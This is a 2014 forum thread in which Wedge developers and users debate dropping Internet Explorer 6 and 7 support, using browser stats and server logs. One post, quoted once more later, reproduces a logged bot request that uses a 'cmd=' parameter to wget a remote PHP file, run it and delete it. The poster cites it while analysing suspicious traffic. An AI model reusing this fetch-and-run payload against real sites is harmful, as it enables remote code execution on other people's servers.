Wedge
Public area => The Pub => Features => Topic started by: Nao on March 3rd, 2014, 12:21 PM
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I already had a similar poll last year, but want to make sure the new guys have a say in this!
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Unfortunately IE7 is used by some Users. So we should keep up with support.
IE6 is dead.
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1/ http://theie7countdown.com/
2/ IE7 is only support on XP and above, and even XP supports IE8. There is no reason for people not to upgrade to IE8 (which I'm going to keep supporting anyway, until web stats are more favorable.)
3/ I should have specified: not supporting = not giving a damn if it breaks, but also showing for these users a banner explaining that they should get rid of their old browser.
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Die Ie 6 and 7
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7 is still supported on Vista but I think it's our responsibility to encourage people off the unsupported 6.
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7 is still supported on Vista but I think it's our responsibility to encourage people off the unsupported 6.
Dropping IE7 compatibility would allow me to get rid of many hacks for display: table.
Interestingly, I've always been very proud of said hack, and actually wrote the entire macro system upon this, but in the end, macros are here to stay, but this particular macro... I don't think so.
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IE7 sucks nearly as much as IE6 does
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IE 7 through IE 11 have all been catch-up releases, if I may say... ;)
Anything IE does can either be done better NY other browsers, or is pointless.
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I agree to an extent. 10 and 11 are quite competent, though.
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But they're still a PITA to keep compatible with. I know I was very unhappy with IE10's flexbox support (I managed to get it done, though), and IE11 had the oldIE compatibility mode removed, but then restored, but I've heard it's not as accurate as it used to be, so I'm hesitant in reinstalling it. For now, I'm on IE10.
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Pandos and Farjo, can you elaborate on real-life examples of users browsing with IE7 and not caring to switch to IE8 or better..?
/meis a bit distracted from Wedge today... A certain RPG game was released and I haven't played a game in like six months... :whistle:
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Here we go...
You can see that the use of IE7 gets a hit about the timeline, but 2840 users (January) is still enough to keep support for IE7.
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Flash had a big market share, still Apple decided to drop support for it. I think Wedge should lead and take adult choices. :P
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I think all that should be supported are browsers that m$ provide security updates.
Once they drop doing security updates, drop support.
We as experienced IT guys need to be proponents of software updates, because if we don't then no one will.
I can only see this as an issue for organisations, however they also need to be more forthcoming with software updates and if they MUST use an older browser, Citrix it.
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I don't know.
There are three levels of deprecation:
- Adding a mild warning on the page.
- Adding a very visible warning on the page.
- Adding a warning, and dropping IE7 specific hacks.
Right now, I'm on level 2 for both IE6 and IE7. Should I just make it a 'mild' warning? (i.e. drop the red background, opt for something more subtle, more bearable..?) Should I make the warning very visible only if the user is a member, and thus likely to stay on the forum for more than a couple of google hit reads?
As for dropping IE7 hacks, the only one I'd be interested in dropping is the sidebar macros. While it's a really, really neat solution, and one that no other systems have never used and never will, it's still something that's there to replace boring floats. I could possibly go to level 3 and replace the IE7 hack with a basic float to at least keep pages usable.
I don't know...
Interestingly, Google Analytics tells me that wedge.org visitors are only 9% IE users, and out of these, in the last week, only 1 (one!) IE6 user. However, I also added a custom script to log IE6 and IE7 users last night, and I've already got a hundred hits or something. About half of these are hits from strange unknown bots, such as "InfoPath.1", others are equally split between IE6 and IE7 users, and every time I analyzed the IP, it was coming from Russia or Asia, so these are 'real' people, just people that use a pirated copy of XP and don't want to connect to Microsoft servers. When will someone PLEASE tell them that Microsoft competitors don't give a damn about the XP license status, and that they'll happily provide them with the latest security patches for Chrome, Opera and Firefox..?
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Actually I thought that my old employer used IE7 (and therefore many other organisations would) but searching my old posts I see that they used IE8. At my old place I couldn't upgrade or install any software (i.e. a different browser) hence my caution. But scratch that.
A warning to old browser users makes the software look good - it needs the latest browsers because it's using the newest features.
Hello Russia :)
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IE6/7 being used in companies is an old idea. Died out years ago... Companies are more realistic than that. They'd only stick to ie6 for intranets only.
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I blocked IE 6/7 in nginx at server level ahah. It returns a 403 forbidden :P
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@kimikelku, have you tested in IE6/7? Actually it's already very, very broken in either... :^^;:
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I kinda like the idea to know that old browsers still can view recent sites, but that goes against the purpose of wedge right?
If legacy code from smf was removed why keep support for these browsers, and if its already broken its a waste of time fixing.
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Legacy server code was removed because it's crucial for servers to be up to date and I only have to impose my will upon x number of Wedge admins. Whereas imposing a recent browser upon y users (where y = x * average number of users per forum, at least 10), is much harder. This is why I was initially very proud of keeping compatibility with ie6 in Wedge... but that was in 2010. We're in 2014, xp support is ending, ie6 shares were divided by 10, and keeping support for ie6 is silly these days. Most ie6 users are either Asian (not much of a market for Wedge right now..), or bots. And neither care about Wedge being usable...
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So... I analyzed my visit logs for the last couple of days. There are very few IE6 and IE7 visits, but still a few hundreds.
Out of these, about 90% are pure bullshit.
Let's see...
IE7 - Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1)
"InfoPath" is supposed to be a bot, to begin with...
But look at that beautiful request:
/profile/MultiformeIngegno/%22%20data-dot=%221%22%20class=%22url//images/stories/racrew.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.rnt.ca/ec.txt%20;%20php%20ec.txt%20;%20rm%20-rf%20ec.txt
From what I could gather, it's a scriptkiddie's bot to exploit an old Joomla vulnerability. Yay...
Me loves that kind of wasted bandwidth. (Heck, even the script itself seems to no longer be hosted, so even if there was a vuln, it would still do nothing to it.)
I'm tempted to send a 403 to any query that holds a 'cmd=' variable in its query string. The only occurrence of 'cmd' as a variable in Wedge is an outgoing request to PayPal subscriptions. I don't think it would hurt.
Even "regular" IE6 user agents sometimes send some suspicious requests... What about "/.svn/entries" in the URL, eh..? Or guestbook2.htm? These are both IPs from Ukraine and Russia. (They may be in an internal crisis, but they both agree it's cool to bother every site in the world... :P)
Guests with a regular IE7 string trying to access ?action=unread, and who are nowhere to be found in the Wedge IP list, and even better, use a "direct allocation" IP address..? Very suspicious, too.
More importantly, Google, which is quite reliable when it comes to determining what a bot is, insists on telling me that I've only received two proper IE6 visits over the entire week (0.03% of all visits on the same period), and 11 visits for IE7. 15 visits for IE8, and 350 or something for IE11. So it's not blocking IE6 or IE7, it's just determining that most of the user agents claiming to be oldIE are full of shit, either because they've been busted as bots, or because, well, they're bots, and bots USUALLY don't download your JavaScript assets, especially not Google's..............
Anyway, all of this to say: I'm pretty confident that Google's stats are more correct than anything else I could try for.
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But look at that beautiful request:
/profile/MultiformeIngegno/%22%20data-dot=%221%22%20class=%22url//images/stories/racrew.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.rnt.ca/ec.txt%20;%20php%20ec.txt%20;%20rm%20-rf%20ec.txt
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A random scrape, man! The more posts you have, the likelier to be targeted!
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Web market share for Windows 2000(http://www.netmarketshare.com/report.aspx?qprid=11&qpaf=&qpcustom=Windows+2000&qpcustomb=0&qpsp=158&qpnp=24&qptimeframe=M)
Web market share for Windows NT(http://www.netmarketshare.com/report.aspx?qprid=11&qpaf=&qpcustom=Windows+NT&qpcustomb=0&qpsp=158&qpnp=24&qptimeframe=M) (<5, I guess.)
Both experienced an odd surge in May 2013. The surge for Windows NT is very suspicious, because it places its market share well above W2000's, even though 2000 is more recent, and was supported for much longer by Microsoft.
I tend not to trust NetMarketShare's data, especially when it comes to IE's market share (~58%, that is about 6 times the data I get for wedge.org on Google Analytics), but I'm also not 100% trusting of Google because they may be biased towards Chrome, and maybe they'll just "drop", "inadvertently", some requests made by old Windows OSes because they're more likely to use oldIE. (To be clear, none of the modern browsers work on old OSes, except for Opera 12 which AFAIK can work on Windows 98 with some tweaks and extra DLLs. But I don't think anyone with W98 *today* would be sufficiently computer-aware to use anything other than IE4 or something...)
What do you think, guys..?
I'm only asking because yesterday I committed an extra set of Bad Behavior rules that actually block any requests made from Windows 95, 98, ME and NT. Windows 2000 is supposed to be in the lot (according to BB's FAQ), but I don't think it is (I would have considered removing it otherwise.)
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I don't think it should be blocked, just include a banner saying its unsupported, then remove the hacks to make it work.
If they want to use an old browser, more sites than wedge.Org are going to not work.
PS: I use a mix of Chrome / IE. Tablet is 11 I think, and work is 9 or 10
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+1 on Bunstonious comment.
Don't support it, remove the fixes for 6 and 7 but also do not block it.
To me, supporting IE 6 and 7 makes as much sense as MS supporting Win 98SE. I worked with a guy last year that was pissed because some AV outfit would no longer support his Win98. :) Some folks just refuse to move forward, I suppose.
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What do you think, guys..?
I'm only asking because yesterday I committed an extra set of Bad Behavior rules that actually block any requests made from Windows 95, 98, ME and NT. Windows 2000 is supposed to be in the lot (according to BB's FAQ), but I don't think it is (I would have considered removing it otherwise.)
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I don't think it should be blocked, just include a banner saying its unsupported, then remove the hacks to make it work.
IE 6-IE 7 = unsupported. They currently look bad. But any good looking modern website will break horribly on them.
Old Windows = blocked. Not blocked "because they're unsupported"... Blocked because approximately 0.01% web visitors are actually using one of these, and a MUCH higher number of web visitors using this are actually spam bots.
I personally stayed with Win XP until my PC broke down a couple of years ago and I was forced to reinstall everything anyway.
I tend to tweak my OSes a lot, so I like keeping them that way. I have the same problem with my Galaxy S3 right now, ahah, can't upgrade to KitKat...
Anyway. WordPress blogs using BB will actually block any requests coming from Windows 2000 and below. What else?
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I don't think it should be blocked, just include a banner saying its unsupported, then remove the hacks to make it work.
IE 6-IE 7 = unsupported. They currently look bad. But any good looking modern website will break horribly on them.
Old Windows = blocked. Not blocked "because they're unsupported"... Blocked because approximately 0.01% web visitors are actually using one of these, and a MUCH higher number of web visitors using this are actually spam bots.
I guess it comes to a point where you decide what you want the project to be (and draw a line in the sand).
Cutting Edge and Nimble or Encumbered by hacks for old browsers.
Up to you I guess, you are the project steward (although the poll seems in favour of dropping support for OldIE).I personally stayed with Win XP until my PC broke down a couple of years ago and I was forced to reinstall everything anyway.
I tend to tweak my OSes a lot, so I like keeping them that way. I have the same problem with my Galaxy S3 right now, ahah, can't upgrade to KitKat...
Anyway. WordPress blogs using BB will actually block any requests coming from Windows 2000 and below. What else?
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I guess it comes to a point where you decide what you want the project to be (and draw a line in the sand).
I could also (1) make it not hidden, and (2) make it enabled by default, but I don't know to which extent people are interested in keeping support for OSes that haven't been patched for security in at least 8 years (for Windows 2000), more for the others...Cutting Edge and Nimble or Encumbered by hacks for old browsers.
For a hack to make it into Wedge, it has:
- To mean that I actually use the browser in my test suite. I dropped IE6 from said suite last week, so it will no longer be getting new hacks. I still have IE7 in my suite, but I really don't care about it. Its market share is even less than IE6's...
- Not to be cumbersome to other browsers. That is, if a hack forces me to make a chance for other browsers, or if it adds bytes for all browsers (which it never will, thanks to Wess!), then it's a no-go for me.I can definitely understand that, although I am the opposite, I usually end up reinstalling my OS every 6 - 12 because I either break it or get the shits with it's performance.
Basically, I use Classic Shell, it does 95% of the job. :P
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There's always a flag to restore old OSes... Just add 'allow_jurassic_crap' to the settings table, and set it to 1.
I could also (1) make it not hidden, and (2) make it enabled by default, but I don't know to which extent people are interested in keeping support for OSes that haven't been patched for security in at least 8 years (for Windows 2000), more for the others...
- Not to be cumbersome to other browsers. That is, if a hack forces me to make a chance for other browsers, or if it adds bytes for all browsers (which it never will, thanks to Wess!), then it's a no-go for me.
Basically, I use Classic Shell, it does 95% of the job. :P